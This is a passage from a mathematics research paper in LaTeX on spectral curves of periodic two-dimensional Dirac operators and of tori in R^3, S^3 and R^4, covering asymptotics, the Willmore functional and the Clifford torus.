If $U = \bar{V}$, then the transformation
$\varphi \to \varphi^\ast$ given by (\ref{ast})
maps Floquet functions into Floquet functions changing the
quasimomenta as follows: $k \to -\bar{k}$.
\end{lemma}
Let us denote by $\Gamma_{\mathrm{nm}}$ the normalization of $\Gamma$. The
Riemann surface $\Gamma$ is not algebraic but a complex space for
which the existence of a normalization was proved in \cite{GR}.
Since we are in a one-dimensional situation all singular points
are isolated and the normalization is as follows:
1) if a point $P \in \Gamma$ is reducible, i.e. several branches
of $\Gamma$ intersect at $P$, then these branches are unstacked;
2) for an irreducible singular point $P$ the normalization
$\Gamma_{\mathrm{nm}} \to \Gamma$ is a local homeomorphism near $P$ given in
terms of local parameters by some series
$$
k_1 = t^a + \dots, \ \ \ k_2 = t^b + \dots, \ \ a>1, \ b>1.
$$
Here $t$ is a local coordinate near $P$ on $\Gamma_{\mathrm{nm}}$.
If there are no reducible singular points then the normalization map
$\Gamma_{\mathrm{nm}} \to \Gamma$ is a homeomorphism.
The genus of the complex curve $\Gamma_{\mathrm{nm}}$ is called the
geometric genus of $\Gamma$ and is denoted by $p_g(\Gamma)$. It is
said that an operator is {\it finite gap} (on the zero energy)
level if $p_g(\Gamma) < \infty$.
The analog of the arithmetic genus for $\Gamma$ which comes into
theorems of the Riemann--Roch type is always infinite:
$p_a(\Gamma) = \infty$.
We have
\begin{itemize}
\item
nonsingular points of the normalized spectral curve
$\Gamma_{\mathrm{nm}}$ parameterize (up to multiples) the Floquet
functions $\psi$, ${\cal D} \psi = 0$. In difference with $\Gamma$ the
one-to-one parameterization property fails only in finitely many
singular points. \footnote{This follows from the asymptotical
behavior of the spectral curve (see \S \ref{subsec4.3}).}
\end{itemize}
In \S \ref{subsec4.7} we argue that in the case when the genus of
$\Gamma_{\mathrm{nm}}$ is finite it is better to replace $\Gamma_{\mathrm{nm}}$ by a
curve $\Gamma_\psi$ whose definition involves the Baker--Akhiezer
function of ${\cal D}$.
{\sc Example. The spectral curve for $U=V=0$ (the free operator).} For simplicity, we
assume that $\Lambda = {\mathbb Z} + i {\mathbb Z}$. The Floquet functions are as
follows
$$
\psi^+ = (e^{\lambda_+ z},0), \ \ \psi^- = (0,e^{\lambda_-
\bar{z}})
$$
and are parameterized by a pair of complex line with parameters
$\lambda_+$ and $\lambda_-$. These complex lines form the
normalized spectral curve $\Gamma_{\rm nm}$. Since it is of finite
genus we compactify it by two points at infinities such that
$\psi$ has exponential singularities at these points. The
quasimomenta of of these functions are
$$
k_1 = \frac{\lambda_+}{2\pi i} + n_1, \ \ k_2 = \frac{\lambda_+}{2\pi}
+ n_2, \ \ \ \mbox{for $\psi^+$},
$$
$$
k_1 = \frac{\lambda_-}{2\pi i} + m_1, \ \ k_2 =
-\frac{\lambda_-}{2\pi} + m_2, \ \ \ \mbox{for $\psi^-$},
$$
where $m_j,n_j \in {\mathbb Z}$.
The functions $\psi^+$ and
$\psi^-$ have the same multipliers at the points
$$
\lambda_+^{m,n} = \pi(n+im), \ \ \lambda_-^{m,n} = \pi(n-im), \ \
m,n \in {\mathbb Z},
$$
which form the resonance pairs. The complex curve $\Gamma$ is
obtained from two complex lines after the pair-wise identification
of points from resonance pairs.
{\sc Remark. Spectral curve and the Kadomtsev--Petviashvili
equation.} We exposed above the scheme which we used for defining
the spectral curves of differential operators with periodic
coefficients in 1985 (this paper was never published although it
is referred in \cite{Krichever}). Very similar scheme as we had
known later was used by Kuchment \cite{Ku} (see also \cite{Ku2}).
However some observation about the Kadomtsev--Petviashvili
equations done in that time is worth to be mentioned. Actually
there are two Kadomtsev--Petviashvili (KP) equations
$$
\partial_x ( u_t + 6 uu_x + u_{xxx}) = -3\varepsilon^2 u_{yy}
$$
with $\varepsilon^2 = \pm 1$. For $\varepsilon = i$ it is called
the KPI equation and for $\varepsilon=1$ it is called the KPII
equation. From the point of view of physics these equations are
drastically different. Both these equations admit similar
``L,A''-pair representations $\dot{L} = [L,A]$ with the $L$
operator
$$
L = \varepsilon \partial_y + \partial^2_x + u.
$$
Here the potential $u$ is double-periodic or, which is the same,
defined on some torus ${\mathbb R}^2/\Lambda$. The free operator equals
$L_0 = \varepsilon \partial_y - \partial^2$ and to prove the
existence of the spectral curve by the scheme used above we need
to take the inverse operator
$$
(L_0 - E_0)^{-1}: L_2 \to W^{2,1}_2
$$
where $W^{2,1}_2$ is the space of functions on the torus such that
$u, u_x, u_{xx}$, and $u_y$ lie in $L_2$.
For simplifying computations, we consider the case when $\Lambda$ is
generated by $(2\pi,0)$ and $(0,2\pi\tau^{-1})$.
Then the Fourier basis in $L_2$ is formed by the functions
$$
e^{i(kx +l\tau y)}, \ \ \ k,l \in {\mathbb Z}.
$$
In this basis the operator $(L_0 - E_0)$ is diagonal and we have
$$
(L_0 - E_0)e^{i(kx +l\tau y)} = (i \varepsilon l \tau - k^2 - E_0)e^{i(kx +l\tau y)}.
$$
Since $\varepsilon = 1$ for KPII, we have for $E_0 > 0$ a bounded
operator
$$
(L_0 - E_0)^{-1}e^{i(kx +l\tau y)} = \frac{1}{i l \tau - k^2 - E_0}e^{i(kx +l\tau y)}.
$$
It is easy to check that if $\varepsilon = i$ then for any $E_0$
either the operator $(L_0-E_0)$ is not inverted or its inverse is
unbounded. That takes the case for any lattice $\Lambda$. One can
deduce from these reasonings that for the operator $L =
i\partial_y + \partial_x^2 + u$ the spectral curve does not exist.
For the heat operator $L = \partial_y + \partial_x^2 + u$ it
exists and is preserved by the KPII equation.
The spectral curve of a two-dimensional periodic differential
operator $L$ on the zero energy level was first introduced in the
paper by Dubrovin, Krichever, and Novikov \cite{DKN} in the case
of Schr\"odinger operator, where it is showed that
1) the periodic operator which is finite gap on the zero energy
level is reconstructed from some algebraic data including this
curve;
\footnote{For the Dirac operator ${\cal D}$ see the reconstruction formula
\ref{reconstruction} and its derivation in \cite{T4} and \S \ref{subsec4.7}.}
2) this curve is the first integral of the deformations of $L$
governed by the ``L,A,B''-triples.
\begin{proposition}
[\cite{DKN}] Let $L$ be a two-dimensional periodic differential
operator, $\Gamma$ be its spectral curve, and ${\cal M}$ be the
multiplier mapping.
Let we have the evolution equation
$$
\frac{\partial L}{\partial t} = [L,A]-BL
$$
such that the operator $A$ is also periodic. Then this deformation
of $L$ preserves $\Gamma$ and ${\cal M}$.
\end{proposition}
This result generalizes the conservation law for the spectral
curve of a one-dimensional operator $L$ deformed via the
``L,A''-pair type equation $\frac{\partial L}{\partial t} = [L,A]$
(this was first established for the periodic KdV equation by
Novikov in \cite{Novikov}).
This proposition follows from the deformation equation $\psi_t +
A\psi = 0$ for the Floquet functions which preserves the
multipliers (see \S \ref{subsec3.1} and the equation
(\ref{aequation})). The conservation of the zero level spectrum
was first indicated by Manakov in \cite{Manakov} where the
``L,A,B''-triples were introduced.
\begin{corollary}
The spectral curve $\Gamma$ and the multiplier mapping ${\cal M}$
of the periodic Dirac operator ${\cal D}$ are preserved by the modified
Novikov--Veselov and Davey--Stewartson equations.
\end{corollary}
For the mKdV deformations we have two spectral curves: $\Gamma$
defined for the two-dimensional Dirac operator and $\Gamma^\prime$
defined for a one-dimensional operator $L_{\rm mKdV}$ which comes
into the Zakharov--Shabat problem (see \S \ref{subsec3.2}) and the
``L,A''-pair representation for the mKdV equation. These complex
curves are related by the canonical branched two-covering $\Gamma
\to \Gamma_0$ \cite{T22} and both of them are by the mKdV
equation. The complex curve $\Gamma_0$ is uniquely reconstructed
from the Kruskal--Miura integrals $H_k, k=1,\dots$, which are also
first integrals of the mKdV equation.
\subsection{Asymptotic behavior of the spectral curve}
\label{subsec4.3}
The spectral curve of ${\cal D}$ is a perturbation of the spectral curve
of the free operator ${\cal D}_0$. Although this perturbation could be
rather strong in a bounded domain $|k| \leq C$, outside this
domain it results just in a transformation of double points
corresponding to resonance pairs into handles. Moreover the size
of a handle is decreasing as $|k| \to \infty$ and is estimated in
terms of the perturbation.
Thus we have
1) a compact part $\Gamma_0 = Q_0 \cap \{|k| \leq C\}$ whose
boundary consists in a pair of circles;
2) a complex curve $\Gamma_\infty$ obtained from the planes $k_1 =
ik_2$ and $k_1 = -ik_2$ by removing the domains with $\{|k| \leq
C\}$ and transforming some of double points corresponding to
resonance pairs into handles;
3) $\Gamma_0$ and $\Gamma_\infty$ are glued along their
boundaries;
4) $\Gamma$ has two ends at which ${\cal M}(\Gamma)$ behaves
asymptotically as in the case of the free operator.
This complex curve is the curve obtained from $\Gamma$ by
unstucking double points which correspond to resonant pairs and
survive the perturbation. We denote it again by $\Gamma$.
The operator is finite gap (on the zero energy level) if under the
perturbation ${\cal D}_0 \to {\cal D}$ only finitely many double points are
transformed into handles.
This picture is typical in soliton theory where the spectral curve
of some operator with potentials is a perturbation of the spectral
curve of the corresponding free operator and therewith the
perturbation is small for large values of quasimomenta. It was
rigorously established for the two-dimensional Sch\"rodinger
operator by Krichever \cite{Krichever} who used perturbation
theory. In \cite{T3} we proposed to clarify this geometrical
picture for the Dirac operator by using same methods and
formulated the expected statement as Pretheorem.
The theory of spectral curves initiated developing of the analytic
theory of Riemannian surfaces (not only hyperelliptic) of infinite
genus in \cite{FKT0,FKT}.
In \cite{Schmidt} Schmidt proposed another approach to confirm
this asymptotic behavior of the spectral curve. It is based on his
result on the existence of the spectral curves for the Dirac
operators with $L_2$ potentials and the continuiosity of these
curves for weakly converging sequence of potentials.
\begin{theorem}
[\cite{Schmidt}]
\label{l2}
Given $U,V \in L_2(T^2)$, the equation
$$
{\cal D}(k) \varphi = ({\cal D} + T_k) \varphi = E \varphi
$$
with $k \in {\mathbb C}^2, E\in {\mathbb C}$, has a solution in $L_2$ if and only if
$(k,E) \in Q$ where $Q$ is an analytic subset in ${\mathbb C}^3$. This
subset $Q$ is is formed by poles of the operator pencil
$$
(1 + A_{U,V}(k,E))^{-1}: L_2 \to L_2
$$
where $A_{U,V}(k,E)$ is polynomial in $k,E$. Moreover if
$$
U_n,V_n \stackrel{\mathrm{weakly}}{\longrightarrow}
U_\infty,V_\infty
$$
in $\{\|U\|_{2;\varepsilon} \leq C, \|V\|_{2;\varepsilon} \leq C\}$
\footnote{ Recall that a sequence $\{u_n\}$ in a Hilbert space $H$
weakly converges to $u_\infty$: $u_n
\stackrel{\mathrm{weakly}}{\longrightarrow} u_\infty$ if for any $v
\in H$ we have $\lim_{n\to \infty} \langle u_n, v \rangle = \langle
u_\infty, v \rangle$ where $\langle u,v\rangle$ is the Hilbert
product in $H$.} then
$$
\|A_{U_n,V_n}(k,E) - A_{U_\infty,V_\infty}(k,E)\|_2 \to 0
$$
uniformly near every $k \in {\mathbb C}^2$.
\end{theorem}
We expose the proof of this theorem in Appendix 1. Let us return
to the asymptotic behavior of the spectral curve.
First note the following identity which is checked by
straightforward computations:
\begin{equation}
\label{dress}
\left(
\begin{array}{cc}
e^{-a} & 0 \\
0 & e^{-b}
\end{array}
\right)
\left(
{\cal D}_0 +
\left(
\begin{array}{cc}
U & 0 \\ 0 & V
\end{array}
\right) + T_k
\right)
\left(
\begin{array}{cc}
e^{b} & 0 \\
0 & e^{a}
\end{array}
\right) =
\end{equation}
$$
=
{\cal D}_0 +
\left(
\begin{array}{cc}
e^{b-a} U & 0 \\ 0 & e^{a-b} V
\end{array}
\right) +
T_k +
\left(
\begin{array}{cc}
0 & a_z \\ -b_{\bar{z}} & 0
\end{array}
\right)
$$
for all smooth functions $a,b: {\mathbb C} \to {\mathbb C}$.
For any $\kappa=(\kappa_1,\kappa_2) \in \Lambda^\ast \subset {\mathbb C}$ define
$\Lambda$-periodic functions
$$
\psi_{\pm \kappa}(z,\bar{z}) = e^{\pm 2\pi i (\kappa_1 x + \kappa_2 y)}
$$
and take the functions $a(z,\bar{z})$ and $b(z,\bar{z})$ in the form
$$
a(z,\bar{z}) = 2\pi i (\alpha_1 x + \alpha_2 y), \ \
b(z,\bar{z}) = 2\pi i ((\alpha_1 - \kappa_1) x + (\alpha_2-\kappa_2) y),
$$
where
$$
\alpha(\kappa) = (\alpha_1,\alpha_2) =
\left(
\frac{\kappa_1 + i\kappa_2}{2},
\frac{-i\kappa_1+\kappa_2}{2}
\right).
$$
The following equalities are clear: $e^{b-a} = \psi_{-\kappa}, \ \
\ a_z = b_{\bar{z}} = 0$. That together with (\ref{dress}) implies
\begin{proposition}
[\cite{Schmidt}]
\label{dress2}
If $\varphi \in L_2$ satisfies the equation
$$
\left[{\cal D}_0 +
\left(
\begin{array}{cc}
\psi_{-\kappa} U & 0 \\ 0 & \psi_\kappa V
\end{array}
\right) +
T_k\right] \varphi = 0
$$
then
$\varphi^\prime = \left(\begin{array}{cc} \psi_{-\kappa} & 0 \\ 0 & 1
\end{array}\right)\varphi \in L_2$
meets the equation
$$
({\cal D} + T_{k + \alpha})\varphi^\prime = 0.
$$
Therefore
$$
Q_0(\psi_{-\kappa}U,\psi_\kappa V) = Q_0(U,V) + \alpha(\kappa)
\ \ \ \mbox{for all} \ \ \kappa \in \Lambda^\ast
$$
(here the right-hand side denotes $Q_0(U,V)$ translated by $\alpha$).
\end{proposition}
The functions $\psi_\kappa, \kappa \in \Lambda^\ast$, form a Fourier
basis for $L_2$. The mapping $U \to \widehat{U} = \psi_{\kappa}
U, U = \sum_{\nu \in \lambda^\ast} U_\nu \psi_\nu$, shifts the
Fourier coefficients of $U$: $\widehat{U}_\nu = U_{\nu - \kappa}$.
Therefore, we have
$$
\psi_\kappa U \stackrel{\mathrm{weakly}}{\longrightarrow} 0 \ \ \
\mbox{as $|\kappa| \to \infty$}.
$$
Theorem \ref{l2} (see Appendix 1) and Proposition \ref{dress2}
imply that in a small bounded neighborhood $O(k)$ of $k \in {\mathbb C}^2$
for large $|\kappa|$ the intersection $Q_0(U,V)$ with $O(k) +
\alpha(\kappa)$ is very closed to the intersection of $Q_0(0,0)$
with $O(k)$:
$$
Q_0(U,V) \cap \left[ O(k) + \alpha(\kappa) \right] \approx
Q_0(0,0) \cap O(k) \ \ \ \mbox{as $|\kappa| \to \infty$}.
$$
We conclude that asymptotically as $|k| \to \infty$
the spectral curve of ${\cal D}$ behaves as the spectral curve of the free
operator ${\cal D}_0$ on $L_2$.
For $U=V=0$ the spectral curve $\Gamma$ is biholomorphic
equivalent to a pair of two planes (complex lines) defined in
${\mathbb C}^2$ by the equations
$$
k_2 = ik_1, \ \ \ k_2 = -ik_1,
$$
and glued at infinitely many pairs of points corresponding to the
so-called resonance pairs
$$
\left(k_1 = \frac{\bar{\gamma}_1 n -
\bar{\gamma}_2 m}{\bar{\gamma}_1\gamma_2 -
\gamma_1 \bar{\gamma}_2}, k_2=ik_1 \right)
\leftrightarrow
\left(k_1 = \frac{\gamma_1 n -\gamma_2 m}{\bar{\gamma}_1\gamma_2 -
\gamma_1 \bar{\gamma}_2}, k_2=-ik_1 \right)
$$
where $m,n \in {\mathbb Z}$. Moreover these planes are naturally completed
by a pair of points $\infty_\pm$ which lie at at infinity and are
obtained the limit $(k_1,\pm ik_1) \to \infty_\pm$ as $k_1 \to
\infty$. Near generic points there is a double covering $\Gamma
\to {\mathbb C} \ \ : \ \ (k_1,k_2) \to k_1$. By Proposition \ref{dress2},
we have
\begin{corollary}
\label{bound} Given a Dirac operator with $L_2$-potentials,
${\cal M}(\Gamma)$ for sufficiently large $|k|$ asymptotically
behaves as
$$
k_2 \approx \pm ik_1.
$$
Therefore it has at most two irreducible components such that
every component contains at least one of these asymptotic ends.
\end{corollary}
The bound for the number of irreducible components is clear, since
other components have to be localized in a bounded domain of
${\mathbb C}^2$ which is impossible for one-dimensional analytic sets.
Thus we arrive at the definition compatible with one used in the
finite gap integration \cite{DKN,Krichever0}:
\begin{itemize}
\item
if the spectral curve $\Gamma$ of the operator ${\cal D}$ is of finite
genus, then this operator is finite gap and we call the completion
of $\Gamma$ by a pair of infinities $\infty_\pm$ the spectral
curve (of a finite gap operator).
\end{itemize}
We finish with the procedure which reconstruct the value of
$$
\int_{{\mathbb C}/\Lambda} UV dx \wedge dy
$$
from $(\Gamma,{\cal M})$ when $\Gamma$ is of finite genus. Near
the asymptotic end where $k_2 \approx ik_1$ we introduce a local
parameter $\lambda_+^{-1}$ such that the multipliers behave as
$$
\mu(\gamma) = \lambda_+ \gamma + \frac{C_0 \bar{\gamma}}{\lambda_+} +
O(\lambda_+^{-2}).
$$
Then
\begin{equation}
\label{willmoreformula} \int_{{\mathbb C}/\Lambda} UV dx \wedge dy = - C_0
\cdot (\mathrm{Area} ({\mathbb C}/\Lambda)
\end{equation}
(see \cite{GS,T3} for the case $U=V$).
The analogous formula for the area of minimal tori in $S^3$ was
derived by Hitchin in \cite{Hitchin}.
This formula gives us a reason to treat the pair $(\Gamma,{\cal M})$
as a generalization of the Willmore functional. First that was
discussed for tori of revolution in \cite{T12}. In this case the spectral curve is
reconstructed from infinitely many integral quantities known as the
Kruskal--Miura integrals \cite{T12}.
\subsection{Spectral curves of tori}
\label{subsec4.4}
Given a torus $\Sigma$ immersed into the three-dimensional Lie group $G = {\mathbb R}^3$, $SU(2)$ $= S^3$, ${\mathrm{Nil}\, }$ or
$\widetilde{SL}_2$ and its the Weierstrass representation, we take
the spectral curve $\Gamma$ of the operator ${\cal D}$ coming in this representation.
We call it {\it the spectral curve of the torus} $\Sigma$.
It is defined for all smooth tori and not only for integrable tori
(see \S \ref{subsec4.6}). This definition was originally
introduced for tori in ${\mathbb R}^3$ in \cite{T2} and for tori in $S^3$
in \cite{T21} in its relation to the physical explanation of the
Willmore conjecture. The formula (\ref{willmoreformula}) shows
that the Willmore functional is reconstructed from $\Gamma$ and
the multiplier mapping ${\cal M}$ (at least in the case when
$\Gamma$ is of finite genus).
This definition does not depend on a choice of a conformal
parameter on the torus $\Sigma = {\mathbb R}^2/\Lambda$. The multiplier
mapping ${\cal M}$ depends on a choice of a basis in $\Lambda$ and
the change of a basis results in a simple algebraic transform of
${\cal M}$ (see (\ref{changebasis})).
Let us define the spectral curve for tori in ${\mathbb R}^4$.
In \cite{T5} we explained that the Weierstrass representation for
a surface in ${\mathbb R}^4$ is not unique. The potentials of different
representations of a torus are related by the formula \begin{equation}
\label{r4trans} U \to U \exp{(\bar{a} + \overline{bz} - a -bz)}
\end{equation} where ${\mathrm{Im}\, } b\gamma \in \pi {\mathbb Z}$ for all $\gamma \in \Lambda$.
The multiplier mapping ${\cal M}$ depends on the choice of $U$ and
under the transformation (\ref{r4trans}) it is changed as follows:
$$
\mu(\gamma) \to e^{b\gamma} \mu(\gamma), \ \ \ \ \gamma \in \Lambda.
$$
As in the case of tori in ${\mathbb R}^3$ that the integral squared
norm of the potential $U$ is reconstructed from $(\Gamma,{\cal M})$
by the same formula (\ref{willmoreformula}).
The conformal invariance of the Willmore functional led us to the
conjecture which we justified by numerical experiments in
\cite{T12} and was very soon after its formulation was confirmed
in \cite{GS}:
\begin{theorem}
\label{conforminvar}
Given a torus in ${\mathbb R}^3$, its spectral curve
$\Gamma$ and ${\cal M}$ are invariant under conformal
transformations of $\overline{{\mathbb R}}^3$.
\end{theorem}
The proof from \cite{GS} works rigorously for the spectral curves
of finite genus and is as follows. Let us consider the generators
of the conformal group which is $SO(4,1)$ and write down the
deformation equations for a Floquet function $\varphi$ which are
of the form \begin{equation} \label{grin} {\cal D} \delta \varphi + \delta U \cdot
\varphi. \end{equation} It is enough to check the invariance only for
inversions and even just for one of them since all they pairwise
conjugated by orthogonal transformations. We take the following
generator for an inversion:
$$
\delta x^1 = -2x^1 x^3, \ \ \ \delta x^2 = -2x^2 x^3, \ \ \
\delta x^3 = (x^1)^2 + (x^2)^2 -(x^3)^2
$$
and compute the corresponding variation of the potential:
$$
\delta U = |\psi_2|^2 - |\psi_1|^2
$$
where $\psi$ generates the torus. In \cite{GS} for this variation
an explicit formula for a solution to (\ref{grin}) is given in
terms of functions meromorphic on the spectral curve. It follows
from this explicit formula that the multipliers are preserved. For
the spectral curve of finite genus these meromorphic functions are
easily defined. For the case of spectral curve of infinite genus
one needs to clarify some analytical details that as we think can
be done and relates on a rigorous and careful treatment of the
asymptotic behavior of the spectral curve.
Another proof of theorem \ref{conforminvar} for isothermic tori
was done in \cite{T3}. It is geometrical and works for spectral
curves of any genus.
\subsection{Examples of the spectral curves}
\label{subsec4.5}
{\sc Products of circles in ${\mathbb R}^4$.}
We consider the tori $\Sigma_{r,R}$ defined by the equations
$$
(x^1)^2 + (x^2)^2 = r^2, \ \ \ (x^3)^2 + (x^4)^2 = R^2.
$$
They are parameterized by the angle variables $x,y$ defined modulo
$2\pi$:
$x^1 = r \cos x, x^2 = r \sin x,
x^3 = R \cos y, x^4 = R \sin y$.
The conformal parameter, the period lattice and
the induced metric are as follows:
$$
z = x + i \frac{R}{r}y,
\ \ \
\Lambda = \{2\pi m + i2\pi \frac{r}{R} n \ : \ m,n \in {\mathbb Z}\},
\ \ \
ds^2 = r^2 dzd\bar{z}.
$$
By simple computations we obtain the formula for the Gauss map:
$\frac{a_1}{a_2} = - e^{i(y-x)}, \frac{b_1}{b_2} = e^{-i(y+x)}$.
Let us apply Theorem \ref{theorem4} to the mapping
$$
\Sigma_{r,R} \to (b_1:b_2) = \left(\frac{e^{-i(x+y)}}{\sqrt{2}}:
\frac{1}{\sqrt{2}}\right) \in {\mathbb C} P^1.
$$
We have $g = \frac{i(x+y)}{2}$,
$$
U = \frac{1}{4}\left(\frac{r}{R} + i\right)
$$
and the torus $\Sigma_{r,R}$ is defined via the Weierstrass
representation by vector functions
$$
\psi_1 = \psi_2 = \frac{1}{\sqrt{2}}
\exp \left( -\frac{i(x+y)}{2} \right), \ \
\varphi_1 = -\varphi_2 = -\frac{r}{\sqrt{2}}
\exp \left( \frac{i(y-x)}{2} \right).
$$
The values of the Willmore functional on such tori are given by the formula
$$
{\cal W}(\Sigma_{r,R}) = 4 \int_{\Sigma_{r,R}} |U|^2 dx \wedge dy =
\pi^2 \left(\frac{r}{R} + \frac{R}{r}\right)
$$
and attain their minimum at the Clifford torus $\Sigma_{r,r}$
in ${\mathbb R}^4$: ${\cal W}(\Sigma_{r,r}) = 2\pi^2.$
The spectral curve $\Gamma(u)$
of the Dirac operator
$$
{\cal D} =
\left(
\begin{array}{cc}
0 & \partial \\
-\bar{\partial} & 0
\end{array}
\right)
+
\left(
\begin{array}{cc}
u & 0 \\
0 & \bar{u}
\end{array}
\right), \ \ \ u = {\mathrm{const}},
$$
with the constant potential $U=u$ is the complex sphere with a pair of
marked points (``infinities'') which are $\lambda=0$ and $\lambda=\infty$:
$$
\Gamma(u) = {\mathbb C} P^1.
$$
The normalized Baker--Akhiezer function (or the Floquet function)
equals
$$
\psi(z,\bar{z},\lambda) =
\left(
\begin{array}{c}
\psi_1 \\
\psi_2
\end{array}
\right)
=
\frac{\lambda}{\lambda-u}
\exp\left(\lambda z - \frac{|u|^2}{\lambda} \bar{z} \right)
\left(
\begin{array}{c}
1 \\
-\frac{u}{\lambda}
\end{array}
\right).
$$
The normalization means that the following asymptotics hold:
$$
\psi \approx
\left(
\begin{array}{c}
e^{\lambda_+ z} \\ 0
\end{array}
\right) \ \ \mbox{as $\lambda_+ \to \infty$},
\ \ \
\psi \approx
\left(
\begin{array}{c}
0 \\ e^{\lambda_- \bar{z}}
\end{array}
\right) \ \ \mbox{as $\lambda_- \to 0$}
$$
with the local parameters
$\lambda_+ = \lambda$ near $\lambda=\infty$
and
$\lambda_- = -\frac{|u|^2}{\lambda}$ near $\lambda=\infty$.
For a torus $\Sigma_{r,R}$ we have
\begin{itemize}
\item
the function $\psi$ generating it via (\ref{int40}) equals to
$\psi(z,\bar{z},-u)$, $u = \frac{1}{4}(\frac{r}{R}+i)$, and its
monodromy is as follows $\psi(z+ 2\pi,\bar{z}-2\pi i,-u) = \psi(z
+ i 2\pi \frac{R}{r},\bar{z} -i 2\pi \frac{R}{r},-u) =
-\psi(z,\bar{z},-u)$;
\item
there are exactly four points on the spectral curve $\Gamma(u)$
for which the function $\psi(z,\bar{z},\lambda)$ has the same monodromy as
$\psi(z,\bar{z},-\lambda)$: these are $\lambda =\pm u, \pm \bar{u}$.
Moreover,
$$
\left(
\begin{array}{c}
\psi_1(z,\bar{z},-u) \\ \psi_2(z,\bar{z},-u)
\end{array}
\right)
=
\left(
\begin{array}{c}
- \bar{\psi}_2(z,\bar{z},u) \\ \bar{\psi}_1(z,\bar{z},u)
\end{array}
\right);
$$
\item
the spectral curve $\Gamma(u)$ is smooth.
\end{itemize}
Here $k_1$ and $k_2$ are the quasimomenta of Floquet functions
$\psi(z,\bar{z},\lambda)$.
A periodic potential $U$ is defined up to the gauge transformation
(\ref{gauge3}) which for $b=0$ and $e^{\bar{a}-a} =
-\frac{1+i}{\sqrt{2}}$ transforms the potential $U$ of the
Clifford torus to the potential
$$
\frac{1}{4} (1+i) \to \frac{e^{\bar{a}-a}}{4}(1+i) = -\frac{i}{2\sqrt{2}}
$$
which coincides with the potential of the same torus
considered as a torus in the unit sphere $S^3 \subset {\mathbb R}^4$ \cite{T3}.
This leads to the following questions:
1) {\sl do the spectral curves of a torus in $S^3 \subset {\mathbb R}^4$
defined as for a torus in $S^3$ and a torus in ${\mathbb R}^4$ always
coincide?}
2) {\sl given a torus in $S^3 \subset {\mathbb R}^4$, does the potential
$U$ of its Weierstrass representation in ${\mathbb R}^4$ is always gauge
equivalent to the potential of its Weierstrass representation in
$S^3$:
$$
U = \frac{(H-i)e^\alpha}{2}
$$
where $H$ is the mean curvature of this torus in $S^3$?}
A positive answer to the second question implies a positive answer
to the second one. We think that the both questions are answered
positively.
\vskip4mm
\noindent {\sc The Clifford torus in ${\mathbb R}^3$.}
The Clifford torus in ${\mathbb R}^3$ is the image of the Clifford torus in
$S^3 \subset {\mathbb R}^4$ under a stereographic projection
$$
(x^1,x^2,x^3,x^4) \to \left(\frac{x^1}{1-x^4},\frac{x^2}{1-x^4},
\frac{x^3}{1-x^4}\right), \ \ \ \sum_k (x^k)^2 = 1.
$$
It is considered up up to conformal transformations of
$\bar{{\mathbb R}}^3$ and hence can be obtained as the following torus of
revolution: given a circle of radius $r=1$ in the $x^1 x^3$ plane
such that the distance between the the circle center and the $x^1$
axis equals to $R=\sqrt{2}$, the Clifford torus is obtained by a
rotation of this circle around the $x^1$ axis.
\begin{theorem}[\cite{T4}]
\label{cliftheorem}
The Baker--Akhiezer function of the Dirac operator ${\cal D}$ with the potential
\begin{equation}
\label{pot}
U = \frac{\sin y}{2\sqrt{2}(\sin y - \sqrt{2})}
\end{equation}
is a vector function $\psi(z,\bar{z},P)$, where $z \in {\mathbb C}$ and $P
\in \Gamma$ such that
\begin{itemize}
\item
the complex curve $\Gamma$ is a sphere ${\mathbb C} P^1 = \bar{{\mathbb C}}$ with
two marked points $\infty_+ = (\lambda=\infty), \infty_- =
(\lambda=0)$ where $\lambda$ is an affine parameter on ${\mathbb C} \subset
{\mathbb C} P^1$ and with two double points obtained by stacking together
the points from the following pairs:
$$
\left(\frac{1+i}{4},\frac{-1+i}{4}\right)
\ \ \ \mbox{and} \ \ \
\left(-\frac{1+i}{4},\frac{1-i}{4}\right);
$$
\item
the function $\psi$ is meromorphic on $\Gamma \setminus \{\infty_\pm\}$ and
has at the marked points (``infinities'') the following asymptotics:
$$
\psi \approx
\left(
\begin{array}{c}
e^{k_+ z} \\ 0
\end{array}
\right) \ \mbox{as $k_+ = \lambda \to \infty$};
\ \
\psi \approx
\left(
\begin{array}{c}
0 \\ e^{k_- \bar{z}}
\end{array}
\right) \ \mbox{as $k_- = -\frac{|u|^2}{\lambda} \to \infty$}
$$
where $u=\frac{1+i}{4}$ and $k^{-1}_\pm$ are local parameters near
$\infty_\pm$;
\item
$\psi$ has three poles on $\Gamma \setminus\{\infty_\pm\}$ which are
independent on $z$ and have the form
$$
p_1 = \frac{-1+i + \sqrt{-2i-4}}{4\sqrt{2}}, \ \
p_2 = \frac{-1+i - \sqrt{-2i-4}}{4\sqrt{2}}, \ \
p_3 = \frac{1}{\sqrt{8}}.
$$
\end{itemize}
Therewith the geometric genus $p_g(\Gamma)$ and
the arithmetic genus $p_a(\Gamma)$ of $\Gamma$ are as follows:
$$
p_g(\Gamma) = 0, \ \ \ \
p_a(\Gamma) = 2.
$$
The Baker--Akhiezer function satisfies the Dirac equation $ {\cal D}
\psi = 0$ with potential $U$ given by (\ref{pot}) at any point
from $\Gamma \setminus \{\infty_+,\infty_-,p_1,p_2,p_3\}$.
The Clifford torus is constructed via the Weierstrass representation
(\ref{int3}) and (\ref{int30}) from the
function
$$
\psi = \psi\left(z,\bar{z},\frac{1-i}{4}\right).
$$
\end{theorem}
It is showed that $\psi$ has the form
$$
\psi_1(z,\bar{z},\lambda) = e^{\lambda z -\frac{|u|^2}{\lambda}\bar{z}}
\left(
q_1 \frac{\lambda}{\lambda-p_1} + q_2 \frac{\lambda}{\lambda-p_2} +
(1-q_1-q_2)\frac{\lambda}{\lambda-p_3}\right),
$$
$$
\psi_2(z,\bar{z},\lambda) = e^{\lambda z -\frac{|u|^2}{\lambda}\bar{z}}
\left(
t_1 \frac{p_1}{p_1-\lambda} + t_2
\frac{p_2}{p_2-\lambda} +
(1-t_1-t_2)\frac{p_3}{p_3-\lambda}\right)
$$
where $u=\frac{1+i}{4}$ and the functions
$q_1,q_2,t_1,t_2$ depend only on $y$ and $2\pi$-periodic with respect to $y$.
They are found from the following conditions
$$
\psi\left(z,\bar{z},\frac{1+i}{4}\right) =
\psi\left(z,\bar{z},\frac{-1+i}{4}\right), \ \ \
\psi\left(z,\bar{z},-\frac{1+i}{4}\right) =
\psi\left(z,\bar{z},\frac{1-i}{4}\right).
$$
\subsection{Spectral curves of integrable tori}
\label{subsec4.6}
It is said that a surface is integrable if the Gauss--Codazzi
equations is the compatibility condition \begin{equation} \label{null}
[\partial_x - A(\lambda), \partial_y - B(\lambda)] = 0 \end{equation} for
the linear problems
